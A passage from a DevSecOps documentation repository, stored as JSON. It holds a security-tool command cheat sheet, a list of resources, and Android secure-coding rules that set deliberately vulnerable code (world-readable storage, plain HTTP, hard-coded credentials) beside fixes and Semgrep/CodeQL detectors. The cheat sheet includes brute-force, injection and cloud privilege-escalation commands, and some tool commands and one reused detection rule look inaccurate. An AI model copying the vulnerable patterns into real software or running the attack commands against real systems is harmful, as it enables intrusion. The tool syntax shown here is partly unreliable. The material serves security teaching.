\"192.168.1.0/24\" -T \"Basic Network Scan\"\n```\n\n## OpenVAS\n\nAn open-source vulnerability scanner that allows you to identify vulnerabilities and misconfigurations in your network and infrastructure.\t\n\n```\nomp -u admin -w password -h localhost -p 9390 -G\n```\n\n## Nmap\n\nA network exploration and vulnerability scanner that allows you to identify open ports and potential vulnerabilities in your network.\t\n\n\n```\nnmap -sS -A -p1-65535 target.com\n```\n\n## Qualys\n\nA cloud-based vulnerability management platform that allows you to identify vulnerabilities and misconfigurations in your network and infrastructure.\t\n\n```\ncurl -H 'X-Requested-With: Curl Sample' -u \"USERNAME:PASSWORD\" -H 'Accept: application/json' -H 'Content-Type: application/json' 'https://qualysapi.qualys.com/api/2.0/fo/scan/?action=launch&scan_title=NewScan&target=TARGET_IP&option_profile=PROFILE_ID'\n```\n\n## Trivy\n\n\n- [ ] Scanning Container Images with Trivy\n\nTrivy is a lightweight vulnerability scanner that can be integrated into your CI/CD pipeline to scan container images before deployment. Here's an example of using Trivy to scan a container image:\n\n\n```\ntrivy image <image-name>:<tag>\n```\n\n\n\n\n- [ ] Scanning Helm Charts with Trivy\n\nTrivy can also scan Helm charts for vulnerabilities before deploying them. Here's an example of using Trivy to scan a Helm chart:\n\n```\ntrivy chart <chart-path>\n```\n\n\n## Syft\n\n\n- [ ] Analyzing Container Images with Syft\n\nSyft provides detailed insights into the dependencies and vulnerabilities present in a container image. Here's an example of using Syft to analyze a container image:\n\n\n```\nsyft <image-name>:<tag>\n```\n\n\n## Gruype\n\n- [ ] Analyzing Container Images with Gruype\n\nGruype is a vulnerability scanner designed specifically for container images. Here's an example of using Gruype to analyze a container image:\n\n```\ngrype <image-name>:<tag>\n```\n\n\n\n\n\n\n## Lynis\n\n- [ ] **Perform a System Scan**\n\n```\nlynis audit system: Perform a security audit on the system.\n```\n\n- [ ] **Specify a Profile**\n\n```\nlynis audit system --profile <profile-name>: Perform a security audit using a specific profile.\n```\n\n- [ ] **Generate a Report**\n\n```\nlynis report --report-file <report-file.txt>: Generate a report of the audit results.\n```\n\n- [ ] **Run Non-Interactive Mode**\n\n```\nlynis audit system --quiet: Run Lynis in non-interactive mode, displaying only the warnings and suggestions.\n```\n\n- [ ] **Update Lynis Database**\n\n```\nlynis update info: Update the Lynis database with the latest vulnerability checks and information.\n```\n\n- [ ] **Enable Debug Mode**\n\n```\nlynis audit system --debug: Run Lynis in debug mode, providing detailed debug information.\n```\n\n- [ ] **Ignore Specific Tests**\n\n```\nlynis audit system --tests <test1,test2>: Skip specific tests during the audit.\n```\n\n- [ ] **View Available Plugins**\n\n```\nlynis show plugins: View the available plugins that can be used with Lynis.\n```\n\n\n## Checkov\n\n\n\n- [ ] **Scan a specific directory or file for security issues**\t\n\n```\ncheckov -d <directory> or checkov -f <file>\n```\n\n- [ ] **Scan a specific cloud provider configuration**\t\n\n```\ncheckov -t <provider>\n```\n\n- [ ] **Scan a specific cloud provider configuration file**\t\n\n```\ncheckov -t <provider> -f <file>\n```\n\n- [ ] **Perform a recursive scan on a directory**\t\n\n```\ncheckov -d <directory> --recursive\n```\n\n- [ ] **Ignore specific check IDs during the scan**\t\n\n```\ncheckov -d <directory> --skip-check <check_id>\n```\n\n- [ ] **Specify a custom policy directory or file to use**\t\n\n```\ncheckov -d <directory> --external-checks-dir <directory>\n```\n\n- [ ] **Output results in JSON format**\t\n\n```\ncheckov -d <directory> -o json\n```\n\n- [ ] **Output results in SARIF format**\t\n\n```\ncheckov -d <directory> -o sarif\n```\n\n- [ ] **Output results in JUnit XML format**\t\n\n```\ncheckov -d <directory> -o junitxml\n```\n\n- [ ] **Output results in GitHub Actions format**\t\n\n```\ncheckov -d <directory> -o github_failed_only\n```\n\n- [ ] **Enable verbose mode for more detailed output**\t\n\n```\ncheckov -d <directory> --verbose\n```\n\n- [ ] **Display only failed checks**\t\n\n```\ncheckov -d <directory> --quiet\n```\n\n- [ ] **Ignore informational-level checks during the scan**\t\n\n```\ncheckov -d <directory> --quiet --skip-check I\n```\n\n- [ ] **Update Checkov to the latest version**\t\n\n```\npip install --upgrade checkov\n```\n\n\n\n## kubescape\n\n\n\n- [ ] **Scan a Kubernetes cluster for CIS benchmarks**\t\n\n```\nkubescape scan framework cis-1.5 cluster\n```\n\n\n\n- [ ] **Scan a specific namespace for vulnerabilities**\t\n\n```\nkubescape scan framework nsa cluster --namespace <namespace_name>\n```\n\n\n- [ ] **Perform a dry-run scan to validate the Kubernetes manifest files**\t\n\n```\nkubescape scan framework mitre attack --dry-run --output kubescape-results.json\n```\n\n\n- [ ] **Scan a Helm chart for security issues**\t\n\n```\nkubescape scan framework kube-hunter chart --chart <path_to_chart>\n```\n\n\n- [ ] **Scan a YAML file for compliance with custom policies**\t\n\n```\nkubescape scan policy --file <path_to_yaml_file> --policies <path_to_custom_policies>\n```\n\n\n\n## PurplePanda\n\n\n- [ ] **Specify the target IP or hostname**\t\n\n```\npython3 purplepanda.py -t <target>\n```\n\n- [ ] **Specify the target port**\t\n\n```\npython3 purplepanda.py -t <target> -p <port>\n```\n\n\n- [ ] **Specify a specific NSE script**\t\n\n```\npython3 purplepanda.py -t <target> -p <port> -s <nse_script>\n```\n\n- [ ] **Specify the number of concurrent threads**\t\n\n```\npython3 purplepanda.py -t <target> -p <port> -n <num_threads>\n```\n\n\n- [ ] **Specify the output directory for results**\t\n\n```\npython3 purplepanda.py -t <target> -p <port> -o <output_dir>\n```\n\n- [ ] **Enable script tracing for debugging**\n\n```\npython3 purplepanda.py -t <target> -p <port> --trace\n```\n\n\n\n## CDK\n\n\n- [ ] **Initialize a new CDK project**\t\n\n```\ncdk init <project_name>\n```\n\n- [ ] **Synthesize CDK app into CloudFormation template**\t\n\n```\ncdk synth\n```\n\n- [ ] **Deploy CDK app to the default environment**\t\n\n```\ncdk deploy\n```\n\n- [ ] **Bootstrap the AWS environment for CDK deployment**\t\n\n```\ncdk bootstrap\n```\n\n- [ ] **Invoke a specific AWS Lambda function in the CDK app**\t\n\n```\ncdk invoke <function_name>\n```\n\n- [ ] **Add a dependency to the CDK app**\t\n\n```\ncdk add <dependency_name>\n```\n\n- [ ] **Create an IAM role with least privilege access**\t\n\n```\ncdk deploy IAMRoleStack\n```\n\n\n- [ ] **Deploy an EC2 instance with secure configuration**\t\n\n```\ncdk deploy EC2Stack\n```\n\n- [ ] **Implement AWS CloudTrail for audit logging**\t\n\n```\ncdk deploy CloudTrailStack\n```\n\n- [ ] **Enable AWS Config for continuous compliance monitoring**\t\n\n```\ncdk deploy ConfigStack\n```\n\n\n- [ ] **Implement AWS Security Hub for centralized security findings**\t\n\n```\ncdk deploy SecurityHubStack\n```\n\n\n\n- [ ] **Set up AWS GuardDuty for threat detection**\t\n\n```\ncdk deploy GuardDutyStack\n```\n\n\n- [ ] **Enable VPC Flow Logs for network traffic analysis**\t\n\n```\ncdk deploy FlowLogsStack\n```\n\n\n\n- [ ] **Configure AWS WAF for web application protection**\t\n\n```\ncdk deploy WAFStack\n```\n\n\n\n- [ ] **Deploy AWS Secrets Manager for secure secret storage**\t\n\n```\ncdk deploy SecretsManagerStack\n```\n\n\n\n- [ ] **Implement AWS Key Management Service (KMS) for encryption**\t\n\n```\ncdk deploy KMSStack\n```\n\n\n- [ ] **Enable AWS Shield for DDoS protection**\t\n\n```\ncdk deploy ShieldStack\n```\n\n- [ ] **Create a VPC with security best practices**\t\n\n```\ncdk deploy VPCStack\n```\n\n\n- [ ] **Create security groups for different services**\t\n\n```\ncdk deploy SecurityGroupStack\n```\n\n\n- [ ] **Configure strict inbound and outbound rules for security groups**\t\n\n```\ncdk deploy SecurityGroupRulesStack\n```\n\n\n## cs-suite\n\n\n- [ ] **Run a vulnerability scan on a target URL**\t\n\n```\npython3 cs-suite.py vulnscan --url <target_url>\n```\n\n\n- [ ] **Perform a subdomain enumeration**\t\n\n```\npython3 cs-suite.py subdomain --url <target_domain>\n```\n\n\n- [ ] **Scan a target for open ports**\t\n\n```\npython3 cs-suite.py portscan --ip <target_ip>\n```\n\n\n- [ ] **Enumerate SSL/TLS cipher suites supported by a target**\t\n\n```\npython3 cs-suite.py tlscipher --host <target_host>\n```\n\n\n- [ ] **Run a vulnerability scan on a target URL**\t\n\n```\npython3 cs-suite.py vulnscan --url <target_url>\n```\n\n\n- [ ] **Perform an SQL injection test on a target URL**\t\n\n```\npython3 cs-suite.py sqlinject --url <target_url>\n```\n\n\n- [ ] **Conduct a cross-site scripting (XSS) test on a target URL**\t\n\n```\npython3 cs-suite.py xss --url <target_url>\n```\n\n\n- [ ] **Scan a target for sensitive information using regex patterns**\t\n\n```\npython3 cs-suite.py sensitivescan --url <target_url>\n```\n\n- [ ] **Perform a directory traversal test on a target URL**\t\n\n```\npython3 cs-suite.py dirtraversal --url <target_url>\n```\n\n- [ ] **Run a brute force attack on a target's login page**\t\n\n```\npython3 cs-suite.py brute --url <target_url> --username <username> --passwords <password_list>\n```\n\n- [ ] **Scan a target for insecure headers**\t\n\n```\npython3 cs-suite.py insecureheaders --url <target_url>\n```\n\n- [ ] **Conduct a DNS zone transfer test on a target domain**\t\n\n```\npython3 cs-suite.py dnszone --domain <target_domain>\n```\n\n\n- [ ] **Check a target for vulnerable HTTP methods**\t\n\n```\npython3 cs-suite.py httpmethods --url <target_url>\n```\n\n\n- [ ] **Perform a CORS misconfiguration test on a target URL**\t\n\n```\npython3 cs-suite.py cors --url <target_url>\n```\n\n- [ ] **Scan a target for open S3 buckets**\t\n\n```\npython3 cs-suite.py s3scan --url <target_url>\n```\n\n\n\n## pacu\n\n\n- [ ] **AWS recon and enumeration**\t\n\n```\n./pacu.py recon_enum\n```\n\n\n\n\n- [ ] **Privilege escalation through EC2 instance metadata**\t\n\n```\n./pacu.py exploit_ec2_metadata\n```\n\n\n\n\n- [ ] **Enumeration of AWS resources and data leaks**\t\n\n```\n./pacu.py enumeration\n```\n\n\n\n\n- [ ] **Enumeration of security groups and open ports**\t\n\n```\n./pacu.py enum_security_groups\n```\n\n\n\n\n- [ ] **Enumeration of IAM users, groups, and roles**\t\n\n```\n./pacu.py enum_iam_users_roles_groups\n```\n\n\n\n\n- [ ] **Enumeration of S3 buckets and their contents**\t\n\n```\n./pacu.py enum_s3_buckets\n```\n\n\n- [ ] **Enumeration of EC2 instances and their metadata**\t\n\n```\n./pacu.py enum_ec2_instances\n```\n\n- [ ] **Enumeration of RDS instances and their metadata**\t\n\n```\n./pacu.py enum_rds_instances\n```\n\n- [ ] **Enumeration of ECR repositories and their images**\t\n\n```\n./pacu.py enum_ecr_repositories\n```\n\n- [ ] **Privilege escalation through attaching an IAM role to an EC2 instance**\t\n\n```\n./pacu.py escalate_iam_roles_to_ec2\n```\n\n\n- [ ] **Privilege escalation through modifying EC2 instance IAM profiles**\t\n\n```\n./pacu.py escalate_iam_roles_to_iam_profiles\n```\n\n\n- [ ] **Privilege escalation through modifying S3 bucket policies**\t\n\n```\n./pacu.py escalate_s3_bucket_policy\n```\n\n\n- [ ] **Privilege escalation through modifying IAM group membership**\t\n\n```\n./pacu.py escalate_iam_group_membership\n```\n\n\n- [ ] **Privilege escalation through modifying IAM user permissions**\t\n\n```\n./pacu.py escalate_iam_user_permissions\n```\n\n\n- [ ] **Privilege escalation through modifying RDS instance permissions**\t\n\n```\n./pacu.py escalate_rds_instance_permissions\n```\n\n\n\n- [ ] **Privilege escalation through modifying ECR repository permissions**\t\n\n```\n./pacu.py escalate_ecr_repository_permissions\n```\n\n\n- [ ] **Privilege escalation through modifying Lambda function permissions**\t\n\n```\n./pacu.py escalate_lambda_function_permissions\n```\n\n\n- [ ] **Privilege escalation through modifying KMS key policies**\t\n\n```\n./pacu.py escalate_kms_key_policy\n```\n\n"
  },
  {
    "path": "docs/resources/resources.md",
    "content": "---\nlayout: default\ntitle: Resources\nnav_order: 12\nhas_children: false\npermalink: resources\n---\n\n# Resources\n\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n## Books\n\n### Hands-On Security in DevOps\n\n![By David Edwards](../../assets/images/Hands-On-Security-in-DevOps.jpg)\n\n\n[Hands-On Security in DevOps](https://www.amazon.com/Hands-Security-DevOps-continuous-deployment/dp/1788995503){: .btn .btn-purple .mr-2 }\n\n\n\n### Practical Threat Intelligence and Data-Driven Threat Hunting: A hands-on guide to threat hunting with the ATT&CK™ Framework and open source tools\n\n\n<img src=\"../../assets/images/pti.jpg\" alt=\"\" style=\"width: 260px;\">\n\n\nGet to grips with cyber threat intelligence and data-driven threat hunting while exploring expert tips and techniques\n\n\n[Practical Threat Intelligence and Data-Driven Threat Hunting](https://www.amazon.com/Practical-Threat-Hunting/dp/1838556370){: .btn .btn-purple .mr-2 }\n\n\n\n### Operationalizing Threat Intelligence: A guide to developing and operationalizing cyber threat intelligence programs\n\n\n<img src=\"../../assets/images/op_ti.jpg\" alt=\"\" style=\"width: 260px;\">\n\n\nLearn cyber threat intelligence fundamentals to implement and operationalize an organizational intelligence program\n\n\n[Operationalizing Threat Intelligence](https://www.amazon.com/Operationalizing-Threat-Intelligence-operationalizing-intelligence/dp/1801814686){: .btn .btn-purple .mr-2 }\n\n\n\n### Web Application Security: Exploitation and Countermeasures for Modern Web Applications\n\n\n<img src=\"../../assets/images/was.png\" alt=\"\" style=\"width: 260px;\">\n\n\nWhile many resources for network and IT security are available, detailed knowledge regarding modern web application security has been lacking―until now. This practical guide provides both offensive and defensive security concepts that software engineers can easily learn and apply.\n\n\n\n[Web Application Security: Exploitation and Countermeasures for Modern Web Applications](https://www.amazon.com/Web-Application-Security-Exploitation-Countermeasures/dp/1492053112){: .btn .btn-purple .mr-2 }\n\n\n\n### Practical Application Security\n\n\n<img src=\"../../assets/images/Practical-Application-Security.png\" alt=\"\" style=\"width: 260px;\">\n\n\nA Book About more +15 Vulnerability Type Attack & Defence and Tutorial About Software Security Tools and Appliance.\n\n\n[Practical Application Security](https://leanpub.com/practicalappsec){: .btn .btn-purple .mr-2 }\n\n\n\n\n## Guidelines\n\n### OWASP DevSecOps Guidelines\n\n![By David Edwards](../../assets/images/OWASP-DevSecOps-Guidelines.png)\n\nThe OWASP DevSecOps Guideline explains how we can implement a secure pipeline and use best practices and introduce tools that we can use in this matter. Also, the project is trying to help us promote the shift-left security culture in our development process. This project helps any companies of each size that have a development pipeline or, in other words, have a DevOps pipeline. We try to draw a perspective of a secure DevOps pipeline during this project and then improve it based on our customized requirements.\n\n\n[OWASP DevSecOps Guideline](https://owasp.org/www-project-devsecops-guideline/latest/){: .btn .btn-purple .mr-2 }\n\n\n### 6mile DevSecOps Playbook\n\nThis playbook will help you introduce effective DevSecOps practices in your company, regardless of size. We provide explicit guidance and actionable steps to introduce security controls, measure their effectiveness, and demonstrate value for money to your business leaders. Following this playbook will help teams build materially more secure applications, and that in the end, is the intent.\n\n\n\n[6mile DevSecOps Playbook](https://github.com/6mile/DevSecOps-Playbook){: .btn .btn-purple .mr-2 }\n\n\n### Aif4thah Dojo-101\n\nKnowledge base in cybersecurity, administration and secure development\n\n[Aif4thah Dojo-101](https://github.com/Aif4thah/Dojo-101){: .btn .btn-purple .mr-2 }\n\n\n\n### sottlmarek DevSecOps\n\n[sottlmarek DevSecOps](https://github.com/sottlmarek/DevSecOps){: .btn .btn-purple .mr-2 }\n\n\n\n### AcalephStorage Awesome DevSecOps\n\n\n[AcalephStorage Awesome DevSecOps](https://github.com/AcalephStorage/awesome-devops){: .btn .btn-purple .mr-2 }\n\n\n\n\n### wmariuss Awesome DevOps\n\n\n[wmariuss Awesome DevOps](\nhttps://github.com/wmariuss/awesome-devops#api-gateway){: .btn .btn-purple .mr-2 }\n\n\n### zoidbergwill Awesome eBPF\n\n\n[zoidbergwill Awesome eBPF](\nhttps://github.com/zoidbergwill/awesome-ebpf){: .btn .btn-purple .mr-2 }\n\n\n\n\n\n\n## Framework\n\n### Cloud Adoption Framework\n\n\nProven guidance and best practices that help you confidently adopt the cloud and achieve business outcomes.\n\n\n[Microsoft Cloud Adoption Framework](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/){: .btn .btn-purple .mr-2 }\n\n\n\n## Cheatsheet\n\n\nHi! I’m Lars Windolf and my expertise is on system architecture and DevSecOps. I strongly care about collecting and sharing knowledge and use this site as a resource for my daily work.\n\n\n[lzone](https://lzone.de/cheat-sheet/Container){: .btn .btn-purple .mr-2 }\n\n\n\n\n\n## Lab\n\n### Actionable Adversary Emulation for the Cloud\n\n\nProven guidance and best practices that help you confidently adopt the cloud and achieve business outcomes.\n\n\n[Granular, Actionable Adversary Emulation for the Cloud](https://github.com/Datadog/stratus-red-team/){: .btn .btn-purple .mr-2 }\n\n\n### AWS Threat Simulation and Detection\n\n[sbasu7241 AWS Threat Simulation and Detection ](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main){: .btn .btn-purple .mr-2 }\n\n\n### Hunting queries and detections\n\n[FalconForceTeam FalconFriday](https://github.com/FalconForceTeam/FalconFriday/){: .btn .btn-purple .mr-2 }\n\n\n\n\n\n\n## Threats\n\n### Cloud\n\n[MITRE ATT&CK Cloud](https://attack.mitre.org/matrices/enterprise/cloud/){: .btn .btn-purple .mr-2 }\n\n\n### DevOps\n\n[DevOps Threat Matrix](https://www.microsoft.com/en-us/security/blog/2023/04/06/devops-threat-matrix/){: .btn .btn-purple .mr-2 }\n\n\n[Kubernetes Threat Matrix](https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/){: .btn .btn-purple .mr-2 }\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/rules/android.md",
    "content": "---\nlayout: default\ntitle: Android\nparent: Rules\n---\n\n# Android\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n## Java\n\n\n\n### Improper Platform Usage\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\n// Noncompliant code\npublic class InsecureStorageActivity extends AppCompatActivity {\n    private SharedPreferences preferences;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_insecure_storage);\n        \n        preferences = getSharedPreferences(\"my_prefs\", MODE_WORLD_READABLE);\n    }\n\n    // Rest of the code...\n}\n```\n\nIn this noncompliant code, the SharedPreferences object is created with the mode MODE_WORLD_READABLE, which allows any other application to read the stored preferences. This violates the principle of proper platform usage, as sensitive data should not be stored in a way that allows unauthorized access.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\n// Compliant code\npublic class SecureStorageActivity extends AppCompatActivity {\n    private SharedPreferences preferences;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_secure_storage);\n        \n        preferences = getSharedPreferences(\"my_prefs\", MODE_PRIVATE);\n    }\n\n    // Rest of the code...\n}\n```\n\n\nIn the compliant code, the SharedPreferences object is created with the mode MODE_PRIVATE, which ensures that the preferences are only accessible by the application itself. This follows the principle of proper platform usage by securely storing sensitive data without allowing unauthorized access.\n\nBy using MODE_PRIVATE instead of MODE_WORLD_READABLE, the compliant code ensures that the stored preferences are only accessible within the application, mitigating the risk of exposing sensitive information to other applications on the device.\n\n\n\nSemgrep:\n\nFor Semgrep, you can use the following rule to detect the insecure use of MODE_WORLD_READABLE in SharedPreferences:\n\n```\nrules:\n  - id: insecure-sharedpreferences\n    patterns:\n      - pattern: \"getSharedPreferences\\\\(\\\"\\\\w+\\\",\\\\s*MODE_WORLD_READABLE\\\\)\"\n    message: \"Insecure use of MODE_WORLD_READABLE in SharedPreferences\"\n```\n\nCodeQL:\n\nFor CodeQL, you can use the following query to detect the insecure use of MODE_WORLD_READABLE in SharedPreferences:\n\n\n```\nimport java\nimport android\n\nfrom MethodInvocation m\nwhere m.getMethod().getQualifiedName() = \"android.content.Context.getSharedPreferences\"\n  and m.getArgument(1).toString() = \"MODE_WORLD_READABLE\"\nselect m\n```\n\n\n\n### Insecure Data Storage\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\n// Noncompliant code\npublic class InsecureStorageActivity extends AppCompatActivity {\n    private static final String FILENAME = \"my_sensitive_data.txt\";\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_insecure_storage);\n        \n        String sensitiveData = \"This is my sensitive data\";\n        writeToFile(sensitiveData);\n    }\n\n    private void writeToFile(String data) {\n        try {\n            File file = new File(getFilesDir(), FILENAME);\n            FileWriter writer = new FileWriter(file);\n            writer.write(data);\n            writer.close();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n\n    // Rest of the code...\n}\n```\n\nIn this noncompliant code, sensitive data is written to a file using the FileWriter without considering secure storage options. The data is stored in the application's private file directory, but it lacks proper encryption or additional security measures, making it vulnerable to unauthorized access.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\n// Compliant code\npublic class SecureStorageActivity extends AppCompatActivity {\n    private static final String FILENAME = \"my_sensitive_data.txt\";\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_secure_storage);\n        \n        String sensitiveData = \"This is my sensitive data\";\n        writeToFile(sensitiveData);\n    }\n\n    private void writeToFile(String data) {\n        try {\n            FileOutputStream fos = openFileOutput(FILENAME, Context.MODE_PRIVATE);\n            OutputStreamWriter writer = new OutputStreamWriter(fos);\n            writer.write(data);\n            writer.close();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n\n    // Rest of the code...\n}\n```\n\n\nIn the compliant code, the FileOutputStream and OutputStreamWriter are used along with the openFileOutput method to securely write the sensitive data to a file in the application's private storage directory. The MODE_PRIVATE flag ensures that the file is only accessible by the application itself. This follows secure storage practices and helps protect the sensitive data from unauthorized access.\n\nBy using openFileOutput with MODE_PRIVATE instead of FileWriter, the compliant code ensures secure storage of sensitive data, mitigating the risk of unauthorized access or exposure.\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: insecure-file-write\n    patterns:\n      - pattern: \"FileWriter\\\\.write\\\\(\\\\w+\\\\)\"\n    message: \"Insecure file write operation\"\n```\n\nCodeQL:\n\n\n\n```\nimport java\nimport android\n\nfrom MethodInvocation m\nwhere m.getMethod().getQualifiedName() = \"java.io.FileWriter.write\"\nselect m\n```\n\n\n### Insecure Communication\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\n// Noncompliant code\npublic class InsecureCommunicationActivity extends AppCompatActivity {\n    private static final String API_URL = \"http://example.com/api/\";\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_insecure_communication);\n        \n        String requestData = \"Some sensitive data\";\n        String response = sendRequest(requestData);\n        // Process the response...\n    }\n\n    private String sendRequest(String data) {\n        try {\n            URL url = new URL(API_URL);\n            HttpURLConnection conn = (HttpURLConnection) url.openConnection();\n            conn.setRequestMethod(\"POST\");\n            conn.setDoOutput(true);\n            \n            OutputStreamWriter writer = new OutputStreamWriter(conn.getOutputStream());\n            writer.write(data);\n            writer.flush();\n            \n            int responseCode = conn.getResponseCode();\n            if (responseCode == HttpURLConnection.HTTP_OK) {\n                BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));\n                StringBuilder response = new StringBuilder();\n                String line;\n                while ((line = reader.readLine()) != null) {\n                    response.append(line);\n                }\n                reader.close();\n                return response.toString();\n            } else {\n                // Handle error response...\n            }\n            \n            conn.disconnect();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        \n        return null;\n    }\n\n    // Rest of the code...\n}\n```\n\nIn this noncompliant code, the app sends sensitive data over an insecure HTTP connection (http://example.com/api/) using HttpURLConnection. This puts the data at risk of interception, tampering, and unauthorized access.\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\n// Compliant code\n// Compliant code\npublic class SecureCommunicationActivity extends AppCompatActivity {\n    private static final String API_URL = \"https://example.com/api/\";\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_secure_communication);\n        \n        String requestData = \"Some sensitive data\";\n        String response = sendRequest(requestData);\n        // Process the response...\n    }\n\n    private String sendRequest(String data) {\n        try {\n            URL url = new URL(API_URL);\n            HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();\n            conn.setRequestMethod(\"POST\");\n            conn.setDoOutput(true);\n            \n            OutputStreamWriter writer = new OutputStreamWriter(conn.getOutputStream());\n            writer.write(data);\n            writer.flush();\n            \n            int responseCode = conn.getResponseCode();\n            if (responseCode == HttpsURLConnection.HTTP_OK) {\n                BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));\n                StringBuilder response = new StringBuilder();\n                String line;\n                while ((line = reader.readLine()) != null) {\n                    response.append(line);\n                }\n                reader.close();\n                return response.toString();\n            } else {\n                // Handle error response...\n            }\n            \n            conn.disconnect();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        \n        return null;\n    }\n\n    // Rest of the code...\n}\n```\n\n\nIn the compliant code, the app uses HttpsURLConnection to establish a secure HTTPS connection (https://example.com/api/) for transmitting sensitive data. HTTPS ensures that the communication is encrypted, providing confidentiality and integrity of the data. By using HTTPS instead of HTTP, the compliant code addresses the vulnerability of insecure communication and reduces the risk of interception or unauthorized access to sensitive data.\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: insecure-file-write\n    patterns:\n      - pattern: \"FileWriter\\\\.write\\\\(\\\\w+\\\\)\"\n    message: \"Insecure file write operation\"\n```\n\nCodeQL:\n\n\n\n```\nimport java\nimport android\n\nfrom MethodInvocation m\nwhere m.getMethod().getQualifiedName() = \"java.io.FileWriter.write\"\nselect m\n```\n\n\n### Insecure Authentication\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\n// Noncompliant code\npublic class LoginActivity extends AppCompatActivity {\n    private EditText usernameEditText;\n    private EditText passwordEditText;\n    private Button loginButton;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_login);\n\n        usernameEditText = findViewById(R.id.usernameEditText);\n        passwordEditText = findViewById(R.id.passwordEditText);\n        loginButton = findViewById(R.id.loginButton);\n\n        loginButton.setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                String username = usernameEditText.getText().toString();\n                String password = passwordEditText.getText().toString();\n\n                if (username.equals(\"admin\") && password.equals(\"admin123\")) {\n                    // Login successful\n                    openMainActivity();\n                } else {\n                    // Login failed\n                    Toast.makeText(LoginActivity.this, \"Invalid username or password\", Toast.LENGTH_SHORT).show();\n                }\n            }\n        });\n    }\n\n    private void openMainActivity() {\n        // Start the main activity\n        Intent intent = new Intent(this, MainActivity.class);\n        startActivity(intent);\n        finish();\n    }\n    \n    // Rest of the code...\n}\n```\n\nIn this noncompliant code, the app performs authentication by comparing the username and password entered by the user (admin and admin123) with hard-coded values. This approach is insecure because the credentials are easily discoverable and can be exploited by attackers.\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\n// Compliant code\npublic class LoginActivity extends AppCompatActivity {\n    private EditText usernameEditText;\n    private EditText passwordEditText;\n    private Button loginButton;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_login);\n\n        usernameEditText = findViewById(R.id.usernameEditText);\n        passwordEditText = findViewById(R.id.passwordEditText);\n        loginButton = findViewById(R.id.loginButton);\n\n        loginButton.setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                String username = usernameEditText.getText().toString();\n                String password = passwordEditText.getText().toString();\n\n                // Perform secure authentication\n                if (authenticateUser(username, password)) {\n                    // Login successful\n                    openMainActivity();\n                } else {\n                    // Login failed\n                    Toast.makeText(LoginActivity.this, \"Invalid username or password\", Toast.LENGTH_SHORT).show();\n                }\n            }\n        });\n    }\n\n    private boolean authenticateUser(String username, String password) {\n        // Implement secure authentication logic here\n        // Example: Make a secure API call to validate the user credentials\n        // Return true if the authentication is successful, false otherwise\n\n        return false;\n    }\n\n    private void openMainActivity() {\n        // Start the main activity\n        Intent intent = new Intent(this, MainActivity.class);\n        startActivity(intent);\n        finish();\n    }\n    \n    // Rest of the code...\n}\n```\n\n\nIn the compliant code, the app separates the authentication logic into a dedicated method authenticateUser(), which can be implemented securely. This method can utilize secure authentication mechanisms such as hashing, salting, and server-side validation. By implementing a secure authentication process instead of relying on hard-coded credentials, the compliant code addresses the vulnerability of insecure authentication and reduces the risk of unauthorized access to user accounts.\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: insecure-login-credentials\n    patterns:\n      - pattern: '(username.equals\\\\(\"admin\"\\\\) && password.equals\\\\(\"admin123\"\\\\))'\n    message: \"Insecure use of hardcoded login credentials\"\n```\n\nCodeQL:\n\n\n\n```\nimport java\nimport android\n\nfrom BinaryExpression b\nwhere b.getLeftOperand().toString() = \"username.equals(\\\"admin\\\")\"\n  and b.getRightOperand().toString() = \"password.equals(\\\"admin123\\\")\"\nselect b\n```\n\n\n\n\n### Insufficient Cryptography\n\n<span class=\"d-inline-block 